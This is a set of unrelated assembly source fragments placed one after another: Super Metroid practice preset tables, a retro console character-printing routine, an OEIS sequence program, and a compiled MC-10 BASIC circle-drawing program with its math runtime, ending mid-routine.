$0025 ; Samus X dw $0AFA, $009E ; Samus Y dw $D820, $4FC5 ; Events dw #$FFFF preset_kpdr25_tourian_escape_room_3: dw #preset_kpdr25_tourian_zebes_escape ; Tourian: Zebes Escape dw $078D, $AAEC ; DDB dw $079B, $DE7A ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0007 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0915, $007C ; Screen Y position in pixels dw $0919, $005D ; Layer 2 Y position dw $0A1C, $0029 ; Samus position/state dw $0A1E, $0608 ; More position/state dw $0AF6, $00DB ; Samus X dw $0AFA, $00EC ; Samus Y dw #$FFFF preset_kpdr25_tourian_escape_room_4: dw #preset_kpdr25_tourian_escape_room_3 ; Tourian: Escape Room 3 dw $078D, $AB04 ; DDB dw $079B, $DEA7 ; MDB dw $090F, $3000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $4C00 ; Screen subpixel Y position dw $0915, $001C ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0015 ; Layer 2 Y position dw $0AF6, $05D6 ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_tourian_escape_climb: dw #preset_kpdr25_tourian_escape_room_4 ; Tourian: Escape Room 4 dw $078D, $AB1C ; DDB dw $079B, $DEDE ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $00F1 ; Screen X position in pixels dw $0913, $A400 ; Screen subpixel Y position dw $0915, $00FB ; Screen Y position in pixels dw $0917, $00B4 ; Layer 2 X position dw $0919, $00BC ; Layer 2 Y position dw $09C2, $0171 ; Health dw $0AF6, $0151 ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr25_tourian_escape_parlor: dw #preset_kpdr25_tourian_escape_climb ; Tourian: Escape Climb dw $078D, $AB34 ; DDB dw $079B, $96BA ; MDB dw $0911, $0100 ; Screen X position in pixels dw $0915, $0000 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0189 ; Health dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $019E ; Samus X dw $0AFA, $005B ; Samus Y dw #$FFFF
; code_driver to ensure we don't page ourselves out SECTION code_clib PUBLIC printc_MODE1 EXTERN generic_console_flags EXTERN generic_console_font32 EXTERN generic_console_udg32 ; c = x ; b = y ; d = character ; e = raw ; a = screen port printc_MODE1: ld l,d ld h,0 ld de,(generic_console_font32) bit 7,l jr z,not_udg res 7,l ;take off 128 ld de,(generic_console_udg32) inc d ;We decrement later not_udg: add hl,hl add hl,hl add hl,hl add hl,de dec h ; -32 characters ex de,hl ; de = font ld h,b ; 32 * 8 ld l,c ld bc,($2a6a) add hl,bc ;hl = screen ld bc,$20 add hl,bc ld a,(generic_console_flags) rlca sbc a,a ld c,a ;x = 0 / 255 ld b,8 hires_printc_1: push bc ld a,(generic_console_flags) bit 4,a ld a,(de) ld b,a jr z,no_32_bold rrca or b no_32_bold: cpl ;Pixels are inverse by default xor c ; Display is mirrored, so mirror the byte ld c,a rlca rlca xor c and 0xaa xor c ld c,a rlca rlca rlca rrc c xor c and 0x66 xor c ld (hl),a inc de ld bc,32 add hl,bc no_overflow: pop bc djnz hires_printc_1 ld a,(generic_console_flags) bit 3,a ret z ld bc,-32 add hl,bc ld (hl),0 ;Pixels are inverted ret
; A275155: a(1) = 18; a(n) = 3*a(n - 1) + 2*sqrt(2*a(n - 1)*(a(n - 1) - 14)) - 14 for n > 1. ; 18,64,338,1936,11250,65536,381938,2226064,12974418,75620416,440748050,2568867856,14972459058,87265886464,508622859698,2964471271696,17278204770450,100704757350976,586950339335378,3420997278661264,19939033332632178,116213202717131776,677340182970158450,3947827895103818896,23009627187652754898,134109935230812710464,781649984197223507858,4555789969952528336656,26553089835517946512050,154762749043155150735616,902023404423412957901618,5257377677497322596674064,30642242660560522622142738 mov $1,11 mov $2,12 lpb $0 sub $0,1 add $2,$1 add $1,$2 add $1,$2 add $2,$1 lpe add $1,7 mov $0,$1
; Assembly for circle-bytecode.bas ; compiled with mcbasic ; Equates for MC-10 MICROCOLOR BASIC 1.0 ; ; Direct page equates DP_LNUM .equ $E2 ; current line in BASIC DP_TABW .equ $E4 ; current tab width on console DP_LPOS .equ $E6 ; current line position on console DP_LWID .equ $E7 ; current line width of console ; ; Memory equates M_KBUF .equ $4231 ; keystrobe buffer (8 bytes) M_PMSK .equ $423C ; pixel mask for SET, RESET and POINT M_IKEY .equ $427F ; key code for INKEY$ M_CRSR .equ $4280 ; cursor location M_LBUF .equ $42B2 ; line input buffer (130 chars) M_MSTR .equ $4334 ; buffer for small string moves M_CODE .equ $4346 ; start of program space ; ; ROM equates R_BKMSG .equ $E1C1 ; 'BREAK' string location R_ERROR .equ $E238 ; generate error and restore direct mode R_BREAK .equ $E266 ; generate break and restore direct mode R_RESET .equ $E3EE ; setup stack and disable CONT R_SPACE .equ $E7B9 ; emit " " to console R_QUEST .equ $E7BC ; emit "?" to console R_REDO .equ $E7C1 ; emit "?REDO" to console R_EXTRA .equ $E8AB ; emit "?EXTRA IGNORED" to console R_DMODE .equ $F7AA ; display OK prompt and restore direct mode R_KPOLL .equ $F879 ; if key is down, do KEYIN, else set Z CCR flag R_KEYIN .equ $F883 ; poll key for key-down transition set Z otherwise R_PUTC .equ $F9C9 ; write ACCA to console R_MKTAB .equ $FA7B ; setup tabs for console R_GETLN .equ $FAA4 ; get line, returning with X pointing to M_BUF-1 R_SETPX .equ $FB44 ; write pixel character to X R_CLRPX .equ $FB59 ; clear pixel character in X R_MSKPX .equ $FB7C ; get pixel screen location X and mask in R_PMSK R_CLSN .equ $FBC4 ; clear screen with color code in ACCB R_CLS .equ $FBD4 ; clear screen with space character R_SOUND .equ $FFAB ; play sound with pitch in ACCA and duration in ACCB R_MCXID .equ $FFDA ; ID location for MCX BASIC ; direct page registers .org $80 strtcnt .block 1 strbuf .block 2 strend .block 2 strfree .block 2 strstop .block 2 dataptr .block 2 inptptr .block 2 redoptr .block 2 letptr .block 2 .org $a3 r1 .block 5 r2 .block 5 rend rvseed .block 2 curinst .block 2 nxtinst .block 2 tmp1 .block 2 tmp2 .block 2 tmp3 .block 2 tmp4 .block 2 tmp5 .block 2 argv .block 10 .org M_CODE .module mdmain ldx #program stx nxtinst mainloop ldx nxtinst stx curinst ldab ,x ldx #catalog abx abx ldx ,x jsr 0,x bra mainloop program .byte bytecode_progbegin .byte bytecode_clear LINE_10 ; REM USING SIN AND COS LINE_20 ; REM EACH TIME IN LOOP LINE_30 ; CLS 0 .byte bytecode_clsn_pb .byte 0 LINE_40 ; FOR LO=1 TO 157 .byte bytecode_for_ix_pb .byte bytecode_INTVAR_LO .byte 1 .byte bytecode_to_ip_pb .byte 157 LINE_50 ; A+=0.04 .byte bytecode_ld_fr1_fx .byte bytecode_FLT_0p03999 .byte bytecode_add_fx_fx_fr1 .byte bytecode_FLTVAR_A LINE_60 ; S=SIN(A) .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_A .byte bytecode_sin_fr1_fr1 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_S LINE_70 ; C=COS(A) .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_A .byte bytecode_cos_fr1_fr1 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_C LINE_80 ; SET((25*S)+34,(15*C)+16,5) .byte bytecode_ld_ir1_pb .byte 25 .byte bytecode_mul_fr1_ir1_fx .byte bytecode_FLTVAR_S .byte bytecode_add_fr1_fr1_pb .byte 34 .byte bytecode_ld_ir2_pb .byte 15 .byte bytecode_mul_fr2_ir2_fx .byte bytecode_FLTVAR_C .byte bytecode_add_fr2_fr2_pb .byte 16 .byte bytecode_setc_ir1_ir2_pb .byte 5 LINE_90 ; NEXT LO .byte bytecode_nextvar_ix .byte bytecode_INTVAR_LO .byte bytecode_next LINE_100 ; REM USING ANGLE ADDITION LINE_110 ; REM FORMULAE FOR SIN AND COS LINE_120 ; CLS 0 .byte bytecode_clsn_pb .byte 0 LINE_130 ; DS=0.0399893 .byte bytecode_ld_fr1_fx .byte bytecode_FLT_0p03999 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_DS LINE_140 ; DC=0.9992 .byte bytecode_ld_fr1_fx .byte bytecode_FLT_0p99920 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_DC LINE_150 ; S=DS .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_DS .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_S ; C=DC .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_DC .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_C LINE_160 ; FOR LO=1 TO 157 .byte bytecode_for_ix_pb .byte bytecode_INTVAR_LO .byte 1 .byte bytecode_to_ip_pb .byte 157 LINE_170 ; SET((25*S)+34,(15*C)+16,5) .byte bytecode_ld_ir1_pb .byte 25 .byte bytecode_mul_fr1_ir1_fx .byte bytecode_FLTVAR_S .byte bytecode_add_fr1_fr1_pb .byte 34 .byte bytecode_ld_ir2_pb .byte 15 .byte bytecode_mul_fr2_ir2_fx .byte bytecode_FLTVAR_C .byte bytecode_add_fr2_fr2_pb .byte 16 .byte bytecode_setc_ir1_ir2_pb .byte 5 LINE_180 ; ST=(S*DC)+(C*DS) .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_S .byte bytecode_mul_fr1_fr1_fx .byte bytecode_FLTVAR_DC .byte bytecode_ld_fr2_fx .byte bytecode_FLTVAR_C .byte bytecode_mul_fr2_fr2_fx .byte bytecode_FLTVAR_DS .byte bytecode_add_fr1_fr1_fr2 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_ST LINE_190 ; C=(C*DC)-(S*DS) .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_C .byte bytecode_mul_fr1_fr1_fx .byte bytecode_FLTVAR_DC .byte bytecode_ld_fr2_fx .byte bytecode_FLTVAR_S .byte bytecode_mul_fr2_fr2_fx .byte bytecode_FLTVAR_DS .byte bytecode_sub_fr1_fr1_fr2 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_C LINE_200 ; S=ST .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_ST .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_S LINE_210 ; NEXT LO .byte bytecode_nextvar_ix .byte bytecode_INTVAR_LO .byte bytecode_next LINE_300 ; REM USING BRESENHAM'S CIRCLE LINE_310 ; R=15 .byte bytecode_ld_ix_pb .byte bytecode_INTVAR_R .byte 15 LINE_315 ; Y=R .byte bytecode_ld_ir1_ix .byte bytecode_INTVAR_R .byte bytecode_ld_ix_ir1 .byte bytecode_INTVAR_Y ; X=0 .byte bytecode_ld_ix_pb .byte bytecode_INTVAR_X .byte 0 ; A=3-SHIFT(R,1) .byte bytecode_ld_ir1_pb .byte 3 .byte bytecode_ld_ir2_ix .byte bytecode_INTVAR_R .byte bytecode_shift_ir2_ir2_pb .byte 1 .byte bytecode_sub_ir1_ir1_ir2 .byte bytecode_ld_fx_ir1 .byte bytecode_FLTVAR_A ; CLS 0 .byte bytecode_clsn_pb .byte 0 LINE_320 ; GOSUB 370 .byte bytecode_gosub_ix .word LINE_370 ; X+=1 .byte bytecode_add_ix_ix_pb .byte bytecode_INTVAR_X .byte 1 ; B=A .byte bytecode_ld_fr1_fx .byte bytecode_FLTVAR_A .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_B ; A+=SHIFT(X,2)+6 .byte bytecode_ld_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_shift_ir1_ir1_pb .byte 2 .byte bytecode_add_ir1_ir1_pb .byte 6 .byte bytecode_add_fx_fx_ir1 .byte bytecode_FLTVAR_A ; IF B>0 THEN .byte bytecode_ld_ir1_pb .byte 0 .byte bytecode_ldlt_ir1_ir1_fx .byte bytecode_FLTVAR_B .byte bytecode_jmpeq_ir1_ix .word LINE_325 ; Y-=1 .byte bytecode_sub_ix_ix_pb .byte bytecode_INTVAR_Y .byte 1 ; A=SHIFT(X-Y,2)+B+10 .byte bytecode_ld_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_sub_ir1_ir1_ix .byte bytecode_INTVAR_Y .byte bytecode_shift_ir1_ir1_pb .byte 2 .byte bytecode_add_fr1_ir1_fx .byte bytecode_FLTVAR_B .byte bytecode_add_fr1_fr1_pb .byte 10 .byte bytecode_ld_fx_fr1 .byte bytecode_FLTVAR_A LINE_325 ; WHEN Y>=X GOTO 320 .byte bytecode_ld_ir1_ix .byte bytecode_INTVAR_Y .byte bytecode_ldge_ir1_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_jmpne_ir1_ix .word LINE_320 LINE_330 ; END .byte bytecode_progend LINE_370 ; SET(32+X,16+Y,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_add_ir1_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_add_ir2_ir2_ix .byte bytecode_INTVAR_Y .byte bytecode_setc_ir1_ir2_pb .byte 5 ; SET(32-X,16+Y,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_sub_ir1_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_add_ir2_ir2_ix .byte bytecode_INTVAR_Y .byte bytecode_setc_ir1_ir2_pb .byte 5 ; SET(32+X,16-Y,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_add_ir1_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_sub_ir2_ir2_ix .byte bytecode_INTVAR_Y .byte bytecode_setc_ir1_ir2_pb .byte 5 ; SET(32-X,16-Y,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_sub_ir1_ir1_ix .byte bytecode_INTVAR_X .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_sub_ir2_ir2_ix .byte bytecode_INTVAR_Y .byte bytecode_setc_ir1_ir2_pb .byte 5 LINE_375 ; SET(32+Y,16-X,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_add_ir1_ir1_ix .byte bytecode_INTVAR_Y .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_sub_ir2_ir2_ix .byte bytecode_INTVAR_X .byte bytecode_setc_ir1_ir2_pb .byte 5 ; SET(32-Y,16-X,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_sub_ir1_ir1_ix .byte bytecode_INTVAR_Y .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_sub_ir2_ir2_ix .byte bytecode_INTVAR_X .byte bytecode_setc_ir1_ir2_pb .byte 5 ; SET(32+Y,16+X,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_add_ir1_ir1_ix .byte bytecode_INTVAR_Y .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_add_ir2_ir2_ix .byte bytecode_INTVAR_X .byte bytecode_setc_ir1_ir2_pb .byte 5 ; SET(32-Y,16+X,5) .byte bytecode_ld_ir1_pb .byte 32 .byte bytecode_sub_ir1_ir1_ix .byte bytecode_INTVAR_Y .byte bytecode_ld_ir2_pb .byte 16 .byte bytecode_add_ir2_ir2_ix .byte bytecode_INTVAR_X .byte bytecode_setc_ir1_ir2_pb .byte 5 LINE_380 ; RETURN .byte bytecode_return LLAST ; END .byte bytecode_progend ; Library Catalog bytecode_add_fr1_fr1_fr2 .equ 0 bytecode_add_fr1_fr1_pb .equ 1 bytecode_add_fr1_ir1_fx .equ 2 bytecode_add_fr2_fr2_pb .equ 3 bytecode_add_fx_fx_fr1 .equ 4 bytecode_add_fx_fx_ir1 .equ 5 bytecode_add_ir1_ir1_ix .equ 6 bytecode_add_ir1_ir1_pb .equ 7 bytecode_add_ir2_ir2_ix .equ 8 bytecode_add_ix_ix_pb .equ 9 bytecode_clear .equ 10 bytecode_clsn_pb .equ 11 bytecode_cos_fr1_fr1 .equ 12 bytecode_for_ix_pb .equ 13 bytecode_gosub_ix .equ 14 bytecode_jmpeq_ir1_ix .equ 15 bytecode_jmpne_ir1_ix .equ 16 bytecode_ld_fr1_fx .equ 17 bytecode_ld_fr2_fx .equ 18 bytecode_ld_fx_fr1 .equ 19 bytecode_ld_fx_ir1 .equ 20 bytecode_ld_ir1_ix .equ 21 bytecode_ld_ir1_pb .equ 22 bytecode_ld_ir2_ix .equ 23 bytecode_ld_ir2_pb .equ 24 bytecode_ld_ix_ir1 .equ 25 bytecode_ld_ix_pb .equ 26 bytecode_ldge_ir1_ir1_ix .equ 27 bytecode_ldlt_ir1_ir1_fx .equ 28 bytecode_mul_fr1_fr1_fx .equ 29 bytecode_mul_fr1_ir1_fx .equ 30 bytecode_mul_fr2_fr2_fx .equ 31 bytecode_mul_fr2_ir2_fx .equ 32 bytecode_next .equ 33 bytecode_nextvar_ix .equ 34 bytecode_progbegin .equ 35 bytecode_progend .equ 36 bytecode_return .equ 37 bytecode_setc_ir1_ir2_pb .equ 38 bytecode_shift_ir1_ir1_pb .equ 39 bytecode_shift_ir2_ir2_pb .equ 40 bytecode_sin_fr1_fr1 .equ 41 bytecode_sub_fr1_fr1_fr2 .equ 42 bytecode_sub_ir1_ir1_ir2 .equ 43 bytecode_sub_ir1_ir1_ix .equ 44 bytecode_sub_ir2_ir2_ix .equ 45 bytecode_sub_ix_ix_pb .equ 46 bytecode_to_ip_pb .equ 47 catalog .word add_fr1_fr1_fr2 .word add_fr1_fr1_pb .word add_fr1_ir1_fx .word add_fr2_fr2_pb .word add_fx_fx_fr1 .word add_fx_fx_ir1 .word add_ir1_ir1_ix .word add_ir1_ir1_pb .word add_ir2_ir2_ix .word add_ix_ix_pb .word clear .word clsn_pb .word cos_fr1_fr1 .word for_ix_pb .word gosub_ix .word jmpeq_ir1_ix .word jmpne_ir1_ix .word ld_fr1_fx .word ld_fr2_fx .word ld_fx_fr1 .word ld_fx_ir1 .word ld_ir1_ix .word ld_ir1_pb .word ld_ir2_ix .word ld_ir2_pb .word ld_ix_ir1 .word ld_ix_pb .word ldge_ir1_ir1_ix .word ldlt_ir1_ir1_fx .word mul_fr1_fr1_fx .word mul_fr1_ir1_fx .word mul_fr2_fr2_fx .word mul_fr2_ir2_fx .word next .word nextvar_ix .word progbegin .word progend .word return .word setc_ir1_ir2_pb .word shift_ir1_ir1_pb .word shift_ir2_ir2_pb .word sin_fr1_fr1 .word sub_fr1_fr1_fr2 .word sub_ir1_ir1_ir2 .word sub_ir1_ir1_ix .word sub_ir2_ir2_ix .word sub_ix_ix_pb .word to_ip_pb .module mdarg2x ; copy argv to [X] ; ENTRY Y in 0+argv, 1+argv, 2+argv, 3+argv, 4+argv ; EXIT Y copied to 0,x 1,x 2,x 3,x 4,x arg2x ldab 0+argv stab 0,x ldd 1+argv std 1,x ldd 3+argv std 3,x rts .module mdbcode noargs ldx curinst inx stx nxtinst rts extend ldx curinst inx ldab ,x inx stx nxtinst ldx #symtbl abx abx ldx ,x rts getaddr ldd curinst addd #3 std nxtinst ldx curinst ldx 1,x rts getbyte ldx curinst inx ldab ,x inx stx nxtinst rts getword ldx curinst inx ldd ,x inx inx stx nxtinst rts extbyte ldd curinst addd #3 std nxtinst ldx curinst ldab 2,x pshb ldab 1,x ldx #symtbl abx abx ldx ,x pulb rts extword ldd curinst addd #4 std nxtinst ldx curinst ldd 2,x pshb ldab 1,x ldx #symtbl abx abx ldx ,x pulb rts byteext ldd curinst addd #3 std nxtinst ldx curinst ldab 1,x pshb ldab 2,x ldx #symtbl abx abx ldx ,x pulb rts wordext ldd curinst addd #4 std nxtinst ldx curinst ldd 1,x pshb ldab 3,x ldx #symtbl abx abx ldx ,x pulb rts immstr ldx curinst inx ldab ,x inx pshx abx stx nxtinst pulx rts .module mdcos ; X = COS(X) ; ENTRY X in 0,X 1,X 2,X 3,X 4,X ; EXIT COS(X) in (0,x 1,x 2,x 3,x 4,x) ; uses (5,x 6,x 7,x 8,x 9,x) ; uses argv and tmp1-tmp4 cos ldd 3,x addd #$9220 std 3,x ldd 1,x adcb #$1 adca #0 std 1,x ldab 0,x adcb #0 stab 0,x jmp sin .module mddivmod ; divide/modulo X by Y with remainder ; ENTRY X contains dividend in (0,x 1,x 2,x 3,x 4,x) ; Y in 0+argv, 1+argv, 2+argv, 3+argv, 4+argv ; #shifts in ACCA (24 for modulus, 40 for division ; EXIT for division: ; NOT ABS(X)/ABS(Y) in (5,x 6,x 7,x 8,x 9,x) ; EXIT for modulus: ; NOT INT(ABS(X)/ABS(Y)) in (7,x 8,x 9,x) ; FMOD(X,Y) in (0,x 1,x 2,x 3,x 4,x) ; result sign in tmp4.(0 = pos, -1 = neg). ; uses tmp1,tmp1+1,tmp2,tmp2+1,tmp3,tmp3+1,tmp4 divmod staa tmp1 clr tmp4 tst 0,x bpl _posX com tmp4 jsr negx _posX tst 0+argv bpl divumod com tmp4 jsr negargv divumod ldd 3,x std 6,x ldd 1,x std 4,x ldab 0,x stab 3,x clra clrb std 8,x std 1,x stab 0,x _nxtdiv rol 7,x rol 6,x rol 5,x rol 4,x rol 3,x rol 2,x rol 1,x rol 0,x bcc _trialsub ; force subtraction ldd 3,x subd 3+argv std 3,x ldd 1,x sbcb 2+argv sbca 1+argv std 1,x ldab 0,x sbcb 0+argv stab 0,x clc bra _shift _trialsub ldd 3,x subd 3+argv std tmp3 ldd 1,x sbcb 2+argv sbca 1+argv std tmp2 ldab 0,x sbcb 0+argv stab tmp1+1 blo _shift ldd tmp3 std 3,x ldd tmp2 std 1,x ldab tmp1+1 stab 0,x _shift rol 9,x rol 8,x dec tmp1 bne _nxtdiv rol 7,x rol 6,x rol 5,x rts .module mdgetge getge bge _1 ldd #0 rts _1 ldd #-1 rts .module mdgetlt getlt blt _1 ldd #0 rts _1 ldd #-1 rts .module mdmodflt ; modulo X by Y ; ENTRY X contains dividend in (0,x 1,x 2,x 3,x 4,x) ; scratch in (5,x 6,x 7,x 8,x 9,x) ; Y in 0+argv, 1+argv, 2+argv, 3+argv, 4+argv ; EXIT X%Y in (0,x 1,x 2,x 3,x 4,x) ; FIX(X/Y) in (7,x 8,x 9,x) ; uses tmp1,tmp1+1,tmp2,tmp2+1,tmp3,tmp3+1,tmp4 modflt ldaa #8*3 jsr divmod tst tmp4 bpl _rts jsr negx ldd 8,x addd #1 std 8,x ldab 7,x adcb #0 stab 7,x rts _rts com 9,x com 8,x com 7,x rts .module mdmulflt mulfltx bsr mulfltt ldab tmp1+1 stab 0,x ldd tmp2 std 1,x ldd tmp3 std 3,x rts mulfltt jsr mulhlf clr tmp4 _4_3 ldaa 4+argv beq _3_4 ldab 3,x bsr _m43 _4_1 ldaa 4+argv ldab 1,x bsr _m41 _4_2 ldaa 4+argv ldab 2,x bsr _m42 _4_0 ldaa 4+argv ldab 0,x bsr _m40 ldab 0,x bpl _4_4 ldd tmp1+1 subb 4+argv sbca #0 std tmp1+1 _4_4 ldaa 4+argv ldab 4,x beq _rndup mul lslb adca tmp4 staa tmp4 bsr mulflt3 _3_4 ldab 4,x beq _rndup ldaa 3+argv bsr _m43 _1_4 ldab 4,x ldaa 1+argv bsr _m41 _2_4 ldab 4,x ldaa 2+argv bsr _m42 _0_4 ldab 4,x ldaa 0+argv bsr _m40 ldaa 0+argv bpl _rndup ldd tmp1+1 subb 4,x sbca #0 std tmp1+1 _rndup ldaa tmp4 lsla mulflt3 ldd tmp3 adcb #0 adca #0 std tmp3 ldd tmp2 adcb #0 adca #0 jmp mulhlf2 _m43 mul addd tmp3+1 std tmp3+1 rol tmp4+1 rts _m41 mul lsr tmp4+1 adcb tmp3 adca tmp2+1 std tmp2+1 ldd tmp1+1 adcb #0 adca #0 std tmp1+1 rts _m42 mul addd tmp3 std tmp3 rol tmp4+1 rts _m40 mul lsr tmp4+1 adcb tmp2+1 adca tmp2 bra mulhlf2 .module mdmulhlf mulhlf bsr mulint ldd #0 std tmp3 stab tmp4+1 _3_2 ldaa 3+argv beq _2_3 ldab 2,x bsr _m32 _3_0 ldaa 3+argv ldab 0,x bsr _m30 ldab 0,x bpl _3_3 ldab tmp1+1 subb 3+argv stab tmp1+1 _3_3 ldaa 3+argv ldab 3,x mul adda tmp3 std tmp3 rol tmp4+1 _3_1 ldaa 3+argv ldab 1,x bsr _m31 _2_3 ldab 3,x beq _rts ldaa 2+argv bsr _m32 _0_3 ldab 3,x ldaa 0+argv bsr _m30 ldaa 0+argv bpl _1_3 ldab tmp1+1 subb 3,x stab tmp1+1 _1_3 ldab 3,x ldaa 1+argv clr tmp4+1 _m31 mul lsr tmp4+1 adcb tmp2+1 adca tmp2 mulhlf2 std tmp2 ldab tmp1+1 adcb #0 stab tmp1+1 rts _m32 mul addd tmp2+1 std tmp2+1 rol tmp4+1 rts _m30 mul lsr tmp4+1 adcb tmp2 adca tmp1+1 std tmp1+1 _rts rts .module mdmulint mulint ldaa 2+argv ldab 2,x mul std tmp2 ldaa 1+argv ldab 1,x mul stab tmp1+1 ldaa 2+argv ldab 1,x mul addb tmp2 adca tmp1+1 std tmp1+1 ldaa 1+argv ldab 2,x mul addb tmp2 adca tmp1+1 std tmp1+1 ldaa 2+argv ldab 0,x mul addb tmp1+1 stab tmp1+1 ldaa 0+argv ldab 2,x mul addb tmp1+1 stab tmp1+1 rts mulintx bsr mulint ldab tmp1+1 stab 0,x ldd tmp2 std 1,x rts .module mdnegargv negargv neg 4+argv bcs _com3 neg 3+argv bcs _com2 neg 2+argv bcs _com1 neg 1+argv bcs _com0 neg 0+argv rts _com3 com 3+argv _com2 com 2+argv _com1 com 1+argv _com0 com 0+argv rts .module mdnegx negx neg 4,x bcs _com3 neg 3,x bcs _com2 negxi neg 2,x bcs _com1 neg 1,x bcs _com0 neg 0,x rts _com3 com 3,x _com2 com 2,x _com1 com 1,x _com0 com 0,x rts .module mdprint print _loop ldaa ,x jsr R_PUTC inx decb bne _loop rts .module mdrmul315 ; special routine to divide by 5040 or 40320 ; (reciprocal-multiply by 315 and shifting) ; 1/5040 = 256/315 >> 16 ; 1/40320 = 128/315 >> 16 ; ENTRY X in 0,X 1,X 2,X 3,X 4,X ; 0DD0 or A11A in ACCD ; EXIT result in (0,x 1,x 2,x 3,x 4,x) ; result ~= X/5040 when D is $0DD0 ; result ~= X/40320 when D is $A11A ; uses argv and tmp1-tmp4 (tmp4+1 unused) rmul315 stab 4+argv tab anda #$0f andb #$f0 std 2+argv ldd #0 std 0+argv jsr mulfltx ldd 1,x std 3,x ldab 0,x stab 2,x ldd #0 std 0,x rts .module mdset ; set pixel with existing color ; ENTRY: ACCA holds X, ACCB holds Y set bsr getxym ldab ,x bmi doset clrb doset andb #$70 ldaa $82 psha stab $82 jsr R_SETPX pula staa $82 rts getxym anda #$1f andb #$3f pshb tab jmp R_MSKPX .module mdsetc ; set pixel with color ; ENTRY: X holds byte-to-modify, ACCB holds color setc decb bmi _loadc lslb lslb lslb lslb bra _ok _loadc ldab ,x bmi _ok clrb _ok bra doset .module mdshlint ; multiply X by 2^ACCB ; ENTRY X contains multiplicand in (0,x 1,x 2,x) ; EXIT X*2^ACCB in (0,x 1,x 2,x) ; uses tmp1 shlint cmpb #8 blo _shlbit stab tmp1 ldd 1,x std 0,x clr 2,x ldab tmp1 subb #8 bne shlint rts _shlbit lsl 2,x rol 1,x rol 0,x decb bne _shlbit rts .module mdsin ; X = SIN(X) ; ENTRY X in 0,X 1,X 2,X 3,X 4,X ; EXIT SIN(X) in (0,x 1,x 2,x 3,x 4,x) ; uses (5,x 6,x 7,x 8,x 9,x) ; uses argv and tmp1-tmp4 (tmp4+1 unused) sin tst 0,x bpl _sinpos jsr negx bsr _sinpos jmp negx _sinpos ldd #0 std 0+argv ldab #$6 stab 2+argv ldd #$487F std 3+argv jsr modflt jsr x2arg stx tmp1 ldx #_tbl_pi1 bsr _cmptbl blo _q12 bsr _subtbl bsr _q12 jmp negx _q12 ldx #_tbl_pi2 bsr _cmptbl blo _q1 ldx #_tbl_pi1 bsr _rsubtbl _q1 ldx #_tbl_pi4 bsr _cmptbl blo _sin ldx #_tbl_pi2 bsr _rsubtbl jmp _cos ; compare argv with *x _cmptbl ldd 2+argv subd ,x bne _rts ldab 4+argv subb 2,x _rts rts ; subtract *x from argv _subtbl ldd 3+argv subd 1,x std 3+argv ldab 2+argv sbcb 0,x stab 2+argv rts ; subtract *x from argv then negate _rsubtbl ldd 1,x subd 3+argv std 3+argv ldab 0,x sbcb 2+argv stab 2+argv rts ; sin of angle less than pi/4 _sin ldx tmp1 jsr arg2x ldd 3,x pshb psha jsr mulfltx jsr x2arg ldd #42 bsr _rsubm ldd #840 bsr _rsubm ldd #5040 bsr _rsub pula pulb std 3+argv jsr mulfltx ldd #$0DD0 jmp rmul315 ; cos of angle less than pi/4 _cos ldx tmp1 jsr arg2x jsr mulfltx jsr x2arg ldd #56 bsr _rsubm ldd #1680 bsr _rsubm ldd #20160 bsr _rsubm ldd #40320 bsr _rsub ldd #$A11A jmp rmul315 _rsubm bsr _rsub jmp mulfltx _rsub neg 4,x bcs _ngc1 com 3,x bra _ngc2 _ngc1 neg 3,x _ngc2 sbcb 2,x sbca 1,x std 1,x bcs _ngc3 com 0,x rts _ngc3 neg 0,x rts _tbl_pi1 .byte $03,$24,$40 _tbl_pi2 .byte $01,$92,$20 _tbl_pi4 .byte $00,$C9,$10 .module mdtobc ; push for-loop record on stack ; ENTRY: ACCB contains size of record ; r1 contains stopping variable ; and is always fixedpoint. ; r1+3 must contain zero if an integer. to clra std tmp3 pulx stx tmp1 tsx clrb _nxtfor abx ldd 1,x subd letptr beq _oldfor ldab ,x cmpb #3 bhi 